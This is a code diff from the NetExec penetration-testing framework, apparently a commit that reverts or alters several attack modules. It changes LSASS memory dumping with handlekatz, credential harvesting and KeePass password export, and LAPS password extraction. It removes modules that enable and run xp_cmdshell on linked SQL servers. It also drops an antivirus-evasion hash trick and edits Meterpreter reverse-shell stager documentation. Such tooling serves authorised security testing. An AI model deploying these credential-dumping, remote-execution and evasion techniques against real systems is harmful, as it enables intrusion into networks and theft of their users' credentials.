@@ -52,7 +50,7 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         handlekatz_loc = self.handlekatz_path + self.handlekatz
-
+        
         if self.useembeded:
             try:
                 with open(handlekatz_loc, "wb") as handlekatz:
@@ -80,7 +78,6 @@ class NXCModule:
 
         if not p or p == "None":
             context.log.fail("Failed to execute command to get LSASS PID")
-            self.delete_handlekatz_binary(connection, context)
             return
         # we get a CSV string back from `tasklist`, so we grab the PID from it
         pid = p.split(",")[1][1:-1]
@@ -99,15 +96,12 @@ class NXCModule:
             context.log.fail("Process lsass.exe error un dump, try with verbose")
             dump = False
 
-        if not dump:
-            self.delete_handlekatz_binary(connection, context)
-            return
-        else:
+        if dump:
             regex = r"([A-Za-z0-9-]*\.log)"
             matches = re.search(regex, str(p), re.MULTILINE)
             if not matches:
                 context.log.display("Error getting the lsass.dmp file name")
-                return
+                sys.exit(1)
 
             machine_name = matches.group()
             context.log.display(f"Copy {machine_name} to host")
@@ -119,7 +113,12 @@ class NXCModule:
                 except Exception as e:
                     context.log.fail(f"Error while get file: {e}")
 
-            self.delete_handlekatz_binary()
+            try:
+                connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
+                context.log.success(f"Deleted handlekatz file on the {self.share} share")
+            except Exception as e:
+                context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")
+
             try:
                 connection.conn.deleteFile(self.share, self.tmp_share + machine_name)
                 context.log.success(f"Deleted lsass.dmp file on the {self.share} share")
@@ -183,10 +182,3 @@ class NXCModule:
                         add_user_bh(credz_bh, None, context.log, connection.config)
                 except Exception as e:
                     context.log.fail(f"Error opening dump file: {e}")
-
-    def delete_handlekatz_binary(self, connection, context):
-        try:
-            connection.conn.deleteFile(self.share, self.tmp_share + self.handlekatz)
-            context.log.success(f"Deleted handlekatz file on the {self.share} share")
-        except Exception as e:
-            context.log.fail(f"[OPSEC] Error deleting handlekatz file on share {self.share}: {e}")

nxc/modules/hash_spider.py

@@ -70,7 +70,11 @@ def create_db(local_admins, dbconnection, cursor):
 
 
 def process_creds(context, connection, credentials_data, dbconnection, cursor, driver):
-    domain = connection.conn.getServerDNSDomainName() if connection.args.local_auth else connection.domain
+    if connection.args.local_auth:
+        context.log.extra["host"] = connection.conn.getServerDNSDomainName()
+    else:
+        context.log.extra["host"] = connection.domain
+    context.log.extra["hostname"] = connection.host.upper()
     for result in credentials_data:
         username = result["username"].upper().split("@")[0]
         nthash = result["nthash"]
@@ -81,7 +85,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 "UPDATE admin_users SET password = ? WHERE username LIKE '" + username + "%'",
                 [password],
             )
-            username = f"{username.upper()}@{domain.upper()}"
+            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
             dbconnection.commit()
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
@@ -95,7 +99,7 @@ def process_creds(context, connection, credentials_data, dbconnection, cursor, d
                 [nthash],
             )
             dbconnection.commit()
-            username = f"{username.upper()}@{domain.upper()}"
+            username = f"{username.upper()}@{context.log.extra['host'].upper()}"
             session = driver.session()
             session.run('MATCH (u) WHERE (u.name = "' + username + '") SET u.owned=True RETURN u,u.name,u.owned')
             path_to_da = session.run("MATCH p=shortestPath((n)-[*1..]->(m)) WHERE n.owned=true AND m.name=~ '.*DOMAIN ADMINS.*' RETURN p")
@@ -142,7 +146,7 @@ class NXCModule:
 
     @staticmethod
     def save_credentials(context, connection, domain, username, password, lmhash, nthash):
-        host_id = context.db.get_hosts(connection.host)[0][0]
+        host_id = context.db.get_computers(connection.host)[0][0]
         if password is not None:
             credential_type = "plaintext"
         else:
@@ -198,7 +202,7 @@ class NXCModule:
         if file is None:
             context.log.fail("Unable to dump lsass")
             return False
-        credentials, tickets, masterkeys = Parser(host, file).parse()
+        credentials, tickets, masterkeys = Parser(file).parse()
         file.close()
         ImpacketFile.delete(session, file.get_file_path())
         if credentials is None:

nxc/modules/hyperv-host.py

@@ -1,53 +0,0 @@
-from impacket.dcerpc.v5.rpcrt import DCERPCException
-from impacket.dcerpc.v5 import rrp
-from impacket.examples.secretsdump import RemoteOperations
-
-
-class NXCModule:
-    """Module by @joaovarelas"""
-
-    name = "hyperv-host"
-    description = "Performs a registry query on the VM to lookup its HyperV Host"
-    supported_protocols = ["smb"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def __init__(self, context=None, module_options=None):
-        self.context = context
-        self.module_options = module_options
-
-    def options(self, context, module_options):
-        """"""
-
-    def on_admin_login(self, context, connection):
-        self.context = context
-
-        path = "SOFTWARE\\Microsoft\\Virtual Machine\\Guest\\Parameters"
-        key = "HostName"
-
-        try:
-            remote_ops = RemoteOperations(connection.conn, False)
-            remote_ops.enableRegistry()
-
-            ans = rrp.hOpenLocalMachine(remote_ops._RemoteOperations__rrp)
-            reg_handle = ans["phKey"]
-
-            # Query
-            try:
-                ans = rrp.hBaseRegOpenKey(remote_ops._RemoteOperations__rrp, reg_handle, path)
-                key_handle = ans["phkResult"]
-
-                data_type, reg_value = rrp.hBaseRegQueryValue(remote_ops._RemoteOperations__rrp, key_handle, key)
-                self.context.log.highlight(f"{key}: {reg_value}")
-
-                rrp.hBaseRegCloseKey(remote_ops._RemoteOperations__rrp, key_handle)
-
-            except DCERPCException as e:
-                self.context.log.debug(f"Registry key {path}\\{key} does not exist: {e}")
-
-        except DCERPCException as e:
-            self.context.log.fail(f"DCERPC Error while querying registry: {e}")
-        except Exception as e:
-            self.context.log.fail(f"Error while querying registry: {e}")
-        finally:
-            remote_ops.finish()

nxc/modules/impersonate.py

@@ -6,7 +6,7 @@
 from base64 import b64decode
 from os import path
 import sys
-from datetime import datetime
+
 from nxc.paths import DATA_PATH
 
 
@@ -29,13 +29,8 @@ class NXCModule:
         self.impersonate = "Impersonate.exe"
         self.useembeded = True
         self.token = self.cmd = ""
-
         with open(path.join(DATA_PATH, ("impersonate_module/impersonate.bs64"))) as impersonate_file:
             self.impersonate_embedded = b64decode(impersonate_file.read())
-
-        # Add some random binary data to defeat AVs which check the file hash
-        self.impersonate_embedded += datetime.now().strftime("%Y%m%d%H%M%S").encode()
-
         if "EXEC" in module_options:
             self.cmd = module_options["EXEC"]
 

nxc/modules/ioxidresolver.py

@@ -1,49 +0,0 @@
-# Credit to https://airbus-cyber-security.com/fr/the-oxid-resolver-part-1-remote-enumeration-of-network-interfaces-without-any-authentication/
-# Airbus CERT
-# module by @mpgn_x64
-# updated by @NeffIsBack
-
-from ipaddress import ip_address
-from impacket.dcerpc.v5 import transport
-from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_NONE, DCERPCException
-from impacket.dcerpc.v5.dcomrt import IObjectExporter
-
-
-class NXCModule:
-    name = "ioxidresolver"
-    description = "This module helps you to identify hosts that have additional active interfaces"
-    supported_protocols = ["smb", "wmi"]
-    opsec_safe = True
-    multiple_hosts = True
-
-    def options(self, context, module_options):
-        """DIFFERENT show only ip address if different from target ip (Default: False)"""
-        self.pivot = module_options.get("DIFFERENT", "false").lower() in ["true", "1"]
-
-    def on_login(self, context, connection):
-        try:
-            rpctransport = transport.DCERPCTransportFactory(f"ncacn_ip_tcp:{connection.host}")
-            rpctransport.setRemoteHost(connection.host)
-
-            portmap = rpctransport.get_dce_rpc()
-            portmap.set_auth_level(RPC_C_AUTHN_LEVEL_NONE)
-            portmap.connect()
-
-            objExporter = IObjectExporter(portmap)
-            bindings = objExporter.ServerAlive2()
-
-            context.log.debug(f"Retrieving network interface of {connection.host}")
-
-            for binding in bindings:
-                NetworkAddr = binding["aNetworkAddr"]
-                try:
-                    ip_address(NetworkAddr[:-1])
-                    if self.pivot:
-                        if NetworkAddr.rstrip("\x00") != connection.host:
-                            context.log.highlight(f"Address: {NetworkAddr}")
-                    else:
-                        context.log.highlight(f"Address: {NetworkAddr}")
-                except Exception as e:
-                    context.log.debug(e)
-        except DCERPCException as e:
-            context.log.error(f"DCERPCException error: {e}")

nxc/modules/keepass_trigger.py

@@ -1,5 +1,7 @@
 import os
 import sys
+import json
+from xmltodict import parse
 from time import sleep
 from csv import reader
 from base64 import b64encode
@@ -379,30 +381,28 @@ class NXCModule:
         xml_doc_path = os.path.abspath(self.local_export_path + "/" + self.export_name)
         xml_tree = ElementTree.parse(xml_doc_path)
         root = xml_tree.getroot()
+        to_string = ElementTree.tostring(root, encoding="UTF-8", method="xml")
+        xml_to_dict = parse(to_string)
+        dump = json.dumps(xml_to_dict)
+        obj = json.loads(dump)
 
-        root_entries = root.find("./Root/Entry")
-        if root_entries is not None:
-            for entry in root_entries:
-                if entry is not None:
-                    self.print_password(context, entry)
-                else:
-                    context.log.highlight("None")
-
-        objects = root.findall("./Root/Group")
-        while objects:
-            current_object = objects.pop(0)
-            for entry in current_object.findall("./Entry"):
-                self.print_password(context, entry)
-                for history in entry.findall("./History"):
-                    for history_entry in history.findall("./Entry"):
-                        self.print_password(context, history_entry)
-            objects.extend(current_object.findall("./Group"))
-
-    def print_password(self, context, entries):
-        for entry in entries.findall("./String"):
-            key = entry.find("./Key")
-            value = entry.find("./Value")
-            key_text = key.text if key is not None else "None"
-            value_text = value.text if value is not None and value.text is not None else "None"
-            context.log.highlight(f"{key_text} : {value_text}")
-        context.log.highlight("-------------------------------------")
+        if len(obj["KeePassFile"]["Root"]["Group"]["Entry"]):
+            for obj2 in obj["KeePassFile"]["Root"]["Group"]["Entry"]:
+                for password in obj2["String"]:
+                    if password["Key"] == "Password":
+                        context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
+                    else:
+                        context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
+                context.log.highlight("")
+        if len(obj["KeePassFile"]["Root"]["Group"]["Group"]):
+            for obj2 in obj["KeePassFile"]["Root"]["Group"]["Group"]:
+                try:
+                    for obj3 in obj2["Entry"]:
+                        for password in obj3["String"]:
+                            if password["Key"] == "Password":
+                                context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]["#text"]))
+                            else:
+                                context.log.highlight(str(password["Key"]) + " : " + str(password["Value"]))
+                        context.log.highlight("")
+                except KeyError:
+                    pass

nxc/modules/laps.py

@@ -45,12 +45,12 @@ class NXCModule:
                 values = {str(attr["type"]).lower(): attr["vals"][0] for attr in computer["attributes"]}
                 if "mslaps-encryptedpassword" in values:
                     msMCSAdmPwd = values["mslaps-encryptedpassword"]
-                    d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339, connection.dns_server)
+                    d = LAPSv2Extract(bytes(msMCSAdmPwd), connection.username if connection.username else "", connection.password if connection.password else "", connection.domain, connection.nthash if connection.nthash else "", connection.kerberos, connection.kdcHost, 339)
                     try:
                         data = d.run()
                     except Exception as e:
-                        context.log.fail(str(e))
-                        continue
+                        self.logger.fail(str(e))
+                        return
                     r = json.loads(data)
                     laps_computers.append((str(values["samaccountname"]), r["n"], str(r["p"])))
                 elif "mslaps-password" in values:

nxc/modules/ldap-checker.py

@@ -1,8 +1,6 @@
 import socket
 import ssl
 import asyncio
-import hashlib
-import random
 
 from msldap.connection import MSLDAPClientConnection
 from msldap.commons.target import MSLDAPTarget
@@ -12,18 +10,19 @@ from asyauth.common.credentials.ntlm import NTLMCredential
 from asyauth.common.credentials.kerberos import KerberosCredential
 
 from asysocks.unicomm.common.target import UniTarget, UniProto
-import contextlib
+import sys
 
 
 class NXCModule:
     """
-    Checks whether LDAP signing and LDAPS channel binding are required and/or enforced.
+    Checks whether LDAP signing and channelbinding are required.
 
-    Module by LuemmelSec (@theluemmel), updated by @zblurx/@Mercury0
+    Module by LuemmelSec (@theluemmel), updated by @zblurx
     Original work thankfully taken from @zyn3rgy's Ldap Relay Scan project: https://github.com/zyn3rgy/LdapRelayScan
     """
+
     name = "ldap-checker"
-    description = "Checks whether LDAP signing and channel binding are required and / or enforced"
+    description = "Checks whether LDAP signing and binding are required and / or enforced"
     supported_protocols = ["ldap"]
     opsec_safe = True
     multiple_hosts = True
@@ -31,229 +30,148 @@ class NXCModule:
     def options(self, context, module_options):
         """No options available."""
 
-    # Conduct a bind to LDAPS and determine if channel
-    # binding is enforced based on the contents of potential
-    # errors returned. This can be determined unauthenticated,
-    # because the error indicating channel binding enforcement
-    # will be returned regardless of a successful LDAPS bind.
-    async def run_ldaps_noEPA(self, context, connection, target, credential):
-        try:
-            client = MSLDAPClientConnection(target, credential)
-            _, err = await client.connect()
-            if err:
-                context.log.debug(f"Error connecting to {connection.domain}: {err}")
-                return None
-
-            client.cb_data = None
-            _, err = await client.bind()
-            if err and "data 80090346" in str(err):
-                return True  # -> channel binding IS enforced
-            elif err and "data 52e" in str(err):
-                return False  # -> channel binding not enforced
-            elif err is None:
-                return False  # LDAPS bind successful -> channel binding not enforced
-            else:
-                context.log.debug(f"Unexpected error during LDAPS bind (noEPA): {err}")
-                return None
-        except Exception as e:
-            context.log.debug(f"Exception in run_ldaps_noEPA: {e}")
-            return None
-        finally:
-            with contextlib.suppress(Exception):
-                await client.disconnect()
-
-    # Conduct a bind to LDAPS with channel binding supported
-    # but intentionally miscalculated. In the case that an
-    # LDAPS bind without channel binding supported has occurred,
-    # you can determine whether the policy is set to "never" or
-    # if it's set to "when supported" based on the potential
-    # error received from the bind attempt.
-    async def run_ldaps_withEPA(self, context, connection, target, credential):
-        try:
-            client = MSLDAPClientConnection(target, credential)
-            _, err = await client.connect()
-            if err:
-                context.log.fail(f"Error connecting to {connection.domain}: {err}")
-                return None
-
-            try:
-                context.log.debug("Retrieving TLS certificate hash...")
-                ssl_context = ssl.create_default_context()
-                ssl_context.check_hostname = False
-                ssl_context.verify_mode = ssl.CERT_NONE
-                
-                with socket.create_connection((connection.host, 636)) as sock, ssl_context.wrap_socket(sock, server_hostname=connection.host) as ssl_sock:
-                    cert = ssl_sock.getpeercert(binary_form=True)
-                
-                if cert:
-                    cert_hash = hashlib.sha256(cert).digest()
-                    context.log.debug(f"Original certificate hash: {cert_hash.hex()}")
-                    pos = random.randint(0, len(cert_hash) - 1)
-                    tampered_bytes = bytearray(cert_hash)
-                    tampered_bytes[pos] = (tampered_bytes[pos] + 1) % 256
-                    context.log.debug(f"Tampered certificate hash: {bytes(tampered_bytes).hex()}")
-                    context.log.debug(f"Modified byte at position {pos}")
-                    client.cb_data = b"tls-server-end-point:" + bytes(tampered_bytes)
-                else:
-                    client.cb_data = b"\x00" * 64
-            except Exception as e:
-                context.log.debug(f"Failed to retrieve TLS certificate hash: {e}")
-                client.cb_data = b"\x00" * 64
-
-            _, err = await client.bind()
-            if err and "data 80090346" in str(err):
-                return True
-            elif (err and "data 52e" in str(err)) or err is None:
-                return False
-            else:
-                context.log.fail(f"Unexpected error during LDAPS bind (withEPA): {err}")
-                return None
-        except Exception as e:
-            context.log.fail(f"Exception in run_ldaps_withEPA: {e}")
-            return None
-            
-    
-    # Domain Controllers do not have a certificate setup for
-    # LDAPS on port 636 by default. If this has not been setup,
-    # the TLS handshake will hang and you will not be able to
-    # interact with LDAPS. The condition for the certificate
-    # existing as it should is either an error regarding
-    # the fact that the certificate is self-signed, or
-    # no error at all. Any other "successful" edge cases
-    # not yet accounted for.
-    def does_ldaps_complete_handshake(self, context, dc_ip):
-        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-        s.settimeout(5)
-        ssl_context = ssl.create_default_context()
-        ssl_context.check_hostname = False
-        ssl_sock = ssl_context.wrap_socket(s, do_handshake_on_connect=False, suppress_ragged_eofs=False)
-        try:
-            ssl_sock.connect((dc_ip, 636))
-            ssl_sock.do_handshake()
-            return True
-        except Exception as e:
-            if "CERTIFICATE_VERIFY_FAILED" in str(e):
-                return True
-            elif "handshake operation timed out" in str(e):
-                return False
-            else:
-                context.log.fail(f"Unexpected error during LDAPS handshake: {e}")
-                return False
-        finally:
-            ssl_sock.close()
-    
-    # Conduct an LDAP bind and determine if server signing
-    # requirements are enforced based on potential errors
-    # during the bind attempt.
-    async def run_ldap(self, context, target, credential):
-        try:
-            client = MSLDAPClientConnection(target, credential)
-            client._disable_signing = True  # deliberately disable LDAP signing on client connection
-            _, err = await client.connect()
-            if err:
-                context.log.fail(f"Error connecting for LDAP bind: {err}")
-                return None
-
-            _, err = await client.bind()
-            if err:
-                errstr = str(err).lower()
-                if "stronger" in errstr:
-                    return True
-                    # because LDAP server signing requirements ARE enforced
-                else:
-                    context.log.fail(f"LDAP bind error: {err}")
-                    return None
-            else:
-                # LDAPS bind successful
-                return False
-                # because LDAP server signing requirements are not enforced
-        except Exception as e:
-            context.log.debug(f"Exception during LDAP bind: {e}")
-            return None
-    
-    # Determine authentication context and proceed to
-    # enumerate LDAP signing and channel binding settings    
     def on_login(self, context, connection):
-        stype = asyauthSecret.PASS
-        secret = connection.password
-        if connection.nthash:
-            stype = asyauthSecret.NT
-            secret = connection.nthash
-        if connection.aesKey:
-            stype = asyauthSecret.AES
-            secret = connection.aesKey
+        # Conduct a bind to LDAPS and determine if channel
+        # binding is enforced based on the contents of potential
+        # errors returned. This can be determined unauthenticated,
+        # because the error indicating channel binding enforcement
+        # will be returned regardless of a successful LDAPS bind.
+        async def run_ldaps_noEPA(target, credential):
+            ldapsClientConn = MSLDAPClientConnection(target, credential)
+            _, err = await ldapsClientConn.connect()
+            if err is not None:
+                context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
+                sys.exit()
+            _, err = await ldapsClientConn.bind()
+            if "data 80090346" in str(err):
+                return True  # channel binding IS enforced
+            elif "data 52e" in str(err):
+                return False  # channel binding not enforced
+            elif err is None:
+                # LDAPS bind successful
+                # because channel binding is not enforced
+                return False
 
-        anon_credential = NTLMCredential(
-            secret="",
-            username="",
-            domain=connection.domain,
-            stype=asyauthSecret.PASS
-        )
+        # Conduct a bind to LDAPS with channel binding supported
+        # but intentionally miscalculated. In the case that and
+        # LDAPS bind has without channel binding supported has occurred,
+        # you can determine whether the policy is set to "never" or
+        # if it's set to "when supported" based on the potential
+        # error received from the bind attempt.
+        async def run_ldaps_withEPA(target, credential):
+            ldapsClientConn = MSLDAPClientConnection(target, credential)
+            _, err = await ldapsClientConn.connect()
+            if err is not None:
+                context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
+                sys.exit()
+            # forcing a miscalculation of the "Channel Bindings" av pair in Type 3 NTLM message
+            ldapsClientConn.cb_data = b"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
+            _, err = await ldapsClientConn.bind()
+            if "data 80090346" in str(err):
+                return True
+            elif "data 52e" in str(err):
+                return False
+            elif err is not None:
+                context.log.fail("ERROR while connecting to " + str(connection.domain) + ": " + str(err))
+            elif err is None:
+                return False
 
-        if not connection.username and not secret:
-            context.log.highlight("No credentials provided, skipping LDAP signing check")
-            credential = anon_credential
-        else:
-            if not connection.kerberos:
-                credential = NTLMCredential(
-                    secret=secret,
-                    username=connection.username,
-                    domain=connection.domain,
-                    stype=stype
-                )
-            else:
-                kerberos_target = UniTarget(
-                    connection.host,
-                    88,
-                    UniProto.CLIENT_TCP,
-                    hostname=connection.remoteName,
-                    dc_ip=connection.kdcHost,
-                    domain=connection.domain,
-                    proxies=None,
-                    dns=None,
-                )
-                credential = KerberosCredential(
-                    target=kerberos_target,
-                    secret=secret,
-                    username=connection.username,
-                    domain=connection.domain,
-                    stype=stype,
-                )
-
-        ldap_signing_status = None
-        if connection.username or secret:
-            target = MSLDAPTarget(
-                connection.host, 389,
-                hostname=connection.remoteName,
-                domain=connection.domain,
-                dc_ip=connection.kdcHost,
+        # Domain Controllers do not have a certificate setup for
+        # LDAPS on port 636 by default. If this has not been setup,
+        # the TLS handshake will hang and you will not be able to
+        # interact with LDAPS. The condition for the certificate
+        # existing as it should is either an error regarding
+        # the fact that the certificate is self-signed, or
+        # no error at all. Any other "successful" edge cases
+        # not yet accounted for.
+        def DoesLdapsCompleteHandshake(dcIp):
+            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            s.settimeout(5)
+            ssl_sock = ssl.wrap_socket(
+                s,
+                cert_reqs=ssl.CERT_OPTIONAL,
+                suppress_ragged_eofs=False,
+                do_handshake_on_connect=False,
             )
-            ldap_signing_status = asyncio.run(self.run_ldap(context, target, credential))
-            if ldap_signing_status is True:
-                context.log.highlight("LDAP signing IS enforced")
-            elif ldap_signing_status is False:
-                context.log.highlight("LDAP signing NOT enforced")
-            else:
-                context.log.fail("Could not determine LDAP signing requirement.")
+            ssl_sock.connect((dcIp, 636))
+            try:
+                ssl_sock.do_handshake()
+                ssl_sock.close()
+                return True
+            except Exception as e:
+                if "CERTIFICATE_VERIFY_FAILED" in str(e):
+                    ssl_sock.close()
+                    return True
+                if "handshake operation timed out" in str(e):
+                    ssl_sock.close()
+                    return False
+                else:
+                    context.log.fail("Unexpected error during LDAPS handshake: " + str(e))
+                    ssl_sock.close()
+                    return False
 
-        if self.does_ldaps_complete_handshake(context, connection.host):
-            target = MSLDAPTarget(
-                connection.host, 636,
-                UniProto.CLIENT_SSL_TCP,
-                hostname=connection.remoteName,
+        # Conduct and LDAP bind and determine if server signing
+        # requirements are enforced based on potential errors
+        # during the bind attempt.
+        async def run_ldap(target, credential):
+            ldapsClientConn = MSLDAPClientConnection(target, credential)
+            _, err = await ldapsClientConn.connect()
+            if err is None:
+                _, err = await ldapsClientConn.bind()
+                if "stronger" in str(err):
+                    return True  # because LDAP server signing requirements ARE enforced
+                elif ("data 52e") in str(err):
+                    context.log.fail("Not connected... exiting")
+                    sys.exit()
+                elif err is None:
+                    return False
+            else:
+                context.log.fail(str(err))
+
+        # Run trough all our code blocks to determine LDAP signing and channel binding settings.
+        stype = asyauthSecret.PASS if not connection.nthash else asyauthSecret.NT
+        secret = connection.password if not connection.nthash else connection.nthash
+        if not connection.kerberos:
+            credential = NTLMCredential(
+                secret=secret,
+                username=connection.username,
                 domain=connection.domain,
-                dc_ip=connection.kdcHost,
+                stype=stype,
             )
-            ldaps_noEPA = asyncio.run(self.run_ldaps_noEPA(context, connection, target, anon_credential))
-            ldaps_withEPA = asyncio.run(self.run_ldaps_withEPA(context, connection, target, anon_credential))
-
-            if ldaps_noEPA is False and ldaps_withEPA is True:
-                context.log.highlight("LDAPS channel binding is set to: When Supported")
-            elif ldaps_noEPA is False and ldaps_withEPA is False:
-                context.log.highlight("LDAPS channel binding is set to: Never")
-            elif ldaps_noEPA is True:
-                context.log.highlight("LDAPS channel binding is set to: Required")
-            else:
-                context.log.fail("Could not determine LDAPS channel binding settings")
         else:
-            context.log.fail(f"{connection.domain} - TLS handshake failed; certificate likely not configured")
+            kerberos_target = UniTarget(connection.hostname + "." + connection.domain, 88, UniProto.CLIENT_TCP, proxies=None, dns=None, dc_ip=connection.domain, domain=connection.domain)
+            credential = KerberosCredential(
+                target=kerberos_target,
+                secret=secret,
+                username=connection.username,
+                domain=connection.domain,
+                stype=stype,
+            )
+
+        target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
+        ldapIsProtected = asyncio.run(run_ldap(target, credential))
+
+        if ldapIsProtected is False:
+            context.log.highlight("LDAP Signing NOT Enforced!")
+        elif ldapIsProtected is True:
+            context.log.fail("LDAP Signing IS Enforced")
+        else:
+            context.log.fail("Connection fail, exiting now")
+            sys.exit()
+
+        if DoesLdapsCompleteHandshake(connection.host) is True:
+            target = MSLDAPTarget(connection.host, 636, UniProto.CLIENT_SSL_TCP, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
+            ldapsChannelBindingAlwaysCheck = asyncio.run(run_ldaps_noEPA(target, credential))
+            target = MSLDAPTarget(connection.host, hostname=connection.hostname, domain=connection.domain, dc_ip=connection.domain)
+            ldapsChannelBindingWhenSupportedCheck = asyncio.run(run_ldaps_withEPA(target, credential))
+            if ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is True:
+                context.log.highlight('LDAPS Channel Binding is set to "When Supported"')
+            elif ldapsChannelBindingAlwaysCheck is False and ldapsChannelBindingWhenSupportedCheck is False:
+                context.log.highlight('LDAPS Channel Binding is set to "NEVER"')
+            elif ldapsChannelBindingAlwaysCheck is True:
+                context.log.fail('LDAPS Channel Binding is set to "Required"')
+            else:
+                context.log.fail("\nSomething went wrong...")
+                sys.exit()
+        else:
+            context.log.fail(connection.domain + " - cannot complete TLS handshake, cert likely not configured")

nxc/modules/link_enable_xp.py

@@ -1,63 +0,0 @@
-class NXCModule:
-    """
-    Enable or disable xp_cmdshell on a linked SQL server
-    Module by deathflamingo
-    """
-
-    name = "link_enable_xp"
-    description = "Enable or disable xp_cmdshell on a linked SQL server"
-    supported_protocols = ["mssql"]
-    opsec_safe = False
-    multiple_hosts = False
-
-    def __init__(self):
-        self.action = None
-        self.linked_server = None
-
-    def options(self, context, module_options):
-        """
-        Defines the options for enabling or disabling xp_cmdshell on the linked server.
-        ACTION    Specifies whether to enable or disable:
-                  - enable (default)
-                  - disable
-        LINKED_SERVER    The name of the linked SQL server to target.
-        """
-        self.action = module_options.get("ACTION", "enable")
-        self.linked_server = module_options.get("LINKED_SERVER")
-
-    def on_login(self, context, connection):
-        self.context = context
-        self.mssql_conn = connection.conn
-        if not self.linked_server:
-            self.context.log.fail("Please provide a linked server name using the LINKED_SERVER option.")
-            return
-
-        # Enable or disable xp_cmdshell based on action
-        if self.action == "enable":
-            self.enable_xp_cmdshell()
-        elif self.action == "disable":
-            self.disable_xp_cmdshell()
-        else:
-            self.context.log.fail(f"Unknown action: {self.action}")
-
-    def enable_xp_cmdshell(self):
-        """Enable xp_cmdshell on the linked server."""
-        query = f"EXEC ('sp_configure ''show advanced options'', 1; RECONFIGURE;') AT [{self.linked_server}]"
-        self.context.log.display(f"Enabling advanced options on {self.linked_server}...")
-        out = self.query_and_get_output(query)
-        query = f"EXEC ('sp_configure ''xp_cmdshell'', 1; RECONFIGURE;') AT [{self.linked_server}]"
-        self.context.log.display(f"Enabling xp_cmdshell on {self.linked_server}...")
-        out = self.query_and_get_output(query)
-        self.context.log.display(out)
-        self.context.log.success(f"xp_cmdshell enabled on {self.linked_server}")
-
-    def disable_xp_cmdshell(self):
-        """Disable xp_cmdshell on the linked server."""
-        query = f"EXEC ('sp_configure ''xp_cmdshell'', 0; RECONFIGURE; sp_configure ''show advanced options'', 0; RECONFIGURE;') AT [{self.linked_server}]"
-        self.context.log.display(f"Disabling xp_cmdshell on {self.linked_server}...")
-        self.query_and_get_output(query)
-        self.context.log.success(f"xp_cmdshell disabled on {self.linked_server}")
-
-    def query_and_get_output(self, query):
-        """Executes a query and returns the output."""
-        return self.mssql_conn.sql_query(query)

nxc/modules/link_xpcmd.py

@@ -1,44 +0,0 @@
-class NXCModule:
-    """
-    Run xp_cmdshell commands on a linked SQL server
-    Module by deathflamingo
-    """
-
-    name = "link_xpcmd"
-    description = "Run xp_cmdshell commands on a linked SQL server"
-    supported_protocols = ["mssql"]
-    opsec_safe = False
-    multiple_hosts = False
-
-    def __init__(self):
-        self.linked_server = None
-        self.command = None
-
-    def options(self, context, module_options):
-        """
-        Defines the options for running xp_cmdshell commands on a linked server.
-        LINKED_SERVER    The name of the linked SQL server to target.
-        CMD              The command to run via xp_cmdshell.
-        """
-        self.linked_server = module_options.get("LINKED_SERVER")
-        self.command = module_options.get("CMD")
-
-    def on_login(self, context, connection):
-        self.context = context
-        self.mssql_conn = connection.conn
-        if not self.linked_server or not self.command:
-            self.context.log.fail("Please provide both LINKED_SERVER and CMD options.")
-            return
-
-        self.run_xp_cmdshell(self.command)
-
-    def run_xp_cmdshell(self, cmd):
-        """Run the specified command via xp_cmdshell on the linked server."""
-        query = f"EXEC ('xp_cmdshell ''{cmd}''') AT [{self.linked_server}]"
-        self.context.log.display(f"Running command on {self.linked_server}: {cmd}")
-        result = self.query_and_get_output(query)
-        self.context.log.success(f"Command output:\n{result}")
-
-    def query_and_get_output(self, query):
-        """Executes a query and returns the output."""
-        return self.mssql_conn.sql_query(query)

nxc/modules/lsassy_dump.py

@@ -64,7 +64,7 @@ class NXCModule:
             context.log.fail("Unable to dump lsass")
             return False
 
-        parsed = Parser(host, file).parse()
+        parsed = Parser(file).parse()
         if parsed is None:
             context.log.fail("Unable to parse lsass dump")
             return False

nxc/modules/masky.py

@@ -37,7 +37,7 @@ class NXCModule:
 
     def on_admin_login(self, context, connection):
         if not self.ca:
-            context.log.fail(r"Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
+            context.log.fail("Please provide a valid CA server and CA name (CA_SERVER\CA_NAME)")
             return False
 
         host = connection.host

nxc/modules/met_inject.py

@@ -27,8 +27,6 @@ class NXCModule:
         SRVPORT     Stager port
         RAND        Random string given by metasploit (if using web_delivery)
         SSL         Stager server use https or http (default: https)
-        
-        This module is compatable with --obfs, --force-ps32 (PowerShell execution options)
 
         multi/handler method that don't require RAND:
             Set LHOST and LPORT (called SRVHOST and SRVPORT in nxc module options)
@@ -37,11 +35,8 @@ class NXCModule:
                 windows/x64/powershell_reverse_tcp_ssl
         Web Delivery Method (exploit/multi/script/web_delivery):
             Set SRVHOST and SRVPORT
-            Set target 2 (PSH)
             Set payload to what you want (windows/meterpreter/reverse_https, etc)
-                check compatabile payloads with `show payloads`
-            Optional: SET URIPATH {custom}
